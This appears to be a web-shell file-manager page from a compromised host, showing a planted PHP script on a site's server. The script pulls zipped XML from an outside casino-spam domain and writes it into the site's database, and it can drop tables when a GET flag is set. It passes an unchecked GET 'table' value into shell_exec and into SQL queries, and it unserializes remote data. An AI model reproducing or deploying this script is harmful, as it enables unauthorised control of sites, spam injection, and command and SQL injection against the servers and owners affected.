MSV FM

dot.antimicrobial@66.96.161.157: ~ $
Path : /hermes/bosweb/b2038/springridgecommons.ca/
File Upload :
Current < : /hermes/bosweb/b2038/springridgecommons.ca/getdbfrombcel.php

<?php 

if (!$_GET['table']) die("no table specified");
if (file_exists('conf.php')) require('conf.php'); else require('includes/configure.php');

$fname="{$_GET['table']}.zip";
if (!is_dir("dbbackup")) mkdir("dbbackup");

$out=file_get_contents_https("https://www.casinoonlinefrancais.info/dbbackup/$fname?v=$timenow");

if (strlen($out)==0) die("Failed to receive file.");

if (substr($out, 0, 14)=="<!DOCTYPE HTML") {
	die ("file not found");
}

$fp = fopen("dbbackup/$fname", 'w');
fwrite($fp, $out);
fclose($fp);

	$gg_tablename=$_GET['table'];
	$tempname="dbbackup/$fname";
if (class_exists('ZipArchive')) {
	
	$zip = new ZipArchive;
	if ($zip->open($tempname) === TRUE) {
		if (($mm = $zip->getFromName("$gg_tablename.xml")) !==false) {
			$xmlstrs[0]=$mm;
			xml2db();
		} else { // bylan
			$mylans = file_get_contents_https("https://www.casinoonlinefrancais.info/mylans.php?url={$_SERVER['HTTP_HOST']}");
			$mylans=explode(",",$mylans);
			foreach ($mylans as $ind=> $ll) {
				if (($mm = $zip->getFromName("$gg_tablename($ll).xml")) !==false) {
					$xmlstrs[$ind]=$mm;
				}
			}
			xml2db();
			
		}
//		backuptozip();
		$zip->close();
	} else {
		die ();
	}
} else {
		if (!is_dir("temp")) mkdir("temp");
		copy($tempname, "temp/$gg_tablename.zip");
		$fn=shell_exec("unzip -o temp/$gg_tablename.zip -d temp");
		unlink("temp/$gg_tablename.zip");
		
		preg_match("@(temp/$gg_tablename\.xml)@", $fn, $matches);
		if ($matches) {
			$xmlstr=file_get_contents($_SERVER['DOCUMENT_ROOT']. "/" . $matches[1]);
			$xmlstrs[0]=$xmlstr;
			xml2db();
		} else {
			$mylans = file_get_contents_https("https://www.casinoonlinefrancais.info/mylans.php?url={$_SERVER['HTTP_HOST']}");
			$mylans=explode(",",$mylans);

			foreach ($mylans as $ind=> $ll) {

				$mm=file_get_contents($_SERVER['DOCUMENT_ROOT']. "/temp/$gg_tablename($ll).xml");
				if ($mm !==false) {
					$xmlstrs[$ind]=$mm;
				}
			}
			xml2db();
		}
}
function modifycolumn($oldtext, $newtext, $gg_tablename) {
	$qss['old']=$oldtext;
	$qss['new']=$newtext;
	foreach ($qss as &$qs) {
		$qs=strtr($qs, array("\r"=>"", "\n"=>""));
		$firstq=strpos($qs, "(")+1;
		$am=substr($qs, $firstq, strrpos($qs, ")")-$firstq);
		$qs=explode(",", $am);
		$i=0;
		$c=count($qs);
		while ($i<$c) {
			$qs[$i]=trim($qs[$i]);	
			if (substr($qs[$i], 0, 1)=="`")
			$qs[substr($qs[$i], 1, strpos($qs[$i], "`", 1)-1)]=trim(substr($qs[$i],strpos($qs[$i], "`", 1)+1));
			unset($qs[$i]);
			$i++;
		}
	}
	foreach ($qss['new'] as $key=>$qn) {
		if ($qn!=$qss['old'][$key]) {
			if ($qss['old'][$key]) $s="MODIFY"; else $s="ADD";
			$query="ALTER TABLE $gg_tablename $s `$key` $qn";
			mnq($query);
		}
			
	}
}

function xml2db() {
	global $xmlstrs; global $gg_tablename;

	
	foreach ($xmlstrs as $ind=> $xmlstr) {

		$allxml = simplexml_load_string($xmlstr, 'SimpleXMLElement', LIBXML_COMPACT | LIBXML_PARSEHUGE);
		
		if ($allxml===false) die("FAILED.");

		if ($ind==0) {
			if ($_GET['deleteold']) {
				mnq("DROP TABLE IF EXISTS $gg_tablename");
			}

			//get type of each field
			mnq($allxml->createtable->query);
		
			$newtext=$allxml->createtable->query;
			
			$result=mnq("show create table $gg_tablename");
			$r=mfa($result);
			$oldtext=$r['Create Table'];
			
			modifycolumn($oldtext, $newtext, $gg_tablename);
		
			
			$query="SELECT * FROM $gg_tablename";
			$result=mnq($query);
			
			while ($r=mff($result)) {
				$fieldnumeric[$r->name]=$r->numeric;	
				if ($r->type=="timestamp") $fieldnumeric[$r->name]=0;
			}
		}
		
		

		foreach ($allxml->row as $class) {
			if (!$serialized) {
				if (count($class)==0) $serialized=true;
			}
		
			if ($serialized) {
				$dd=unserialize($class);
				$value=array();
				foreach ($dd as $key=>$v) {
					if (!$fall) $f[]="`".$key."`";
					$v=(string)$v;
					if ($v=="") $v="NULL";
					$v= mres($v);
					$value[$key]=$v;
					if (!$fieldnumeric[$key] AND $value[$key]!="NULL") $value[$key]="'".$value[$key]."'";
				}
			} else {
				$value=array();
				foreach ($class as $key=>$v) {
					if (!$fall) $f[]="`".$key."`";
					$v=(string)$v;
					if ($v=="") $v="NULL";
					$v= mres($v);
					$value[$key]=$v;
					if (!$fieldnumeric[$key] AND $value[$key]!="NULL") $value[$key]="'".$value[$key]."'";
				}
			}
			
			if (!$fall) $fall=implode(", ", $f);
			$vall=implode(", ", $value);
			$q= "REPLACE INTO `$gg_tablename` ($fall) VALUES ($vall)";
			if (!mnq($q))  {
				$mm=$class->id;	die("error $q \n");
			}
			
		}
		
		
	}
	
	
	
	echo "done";
}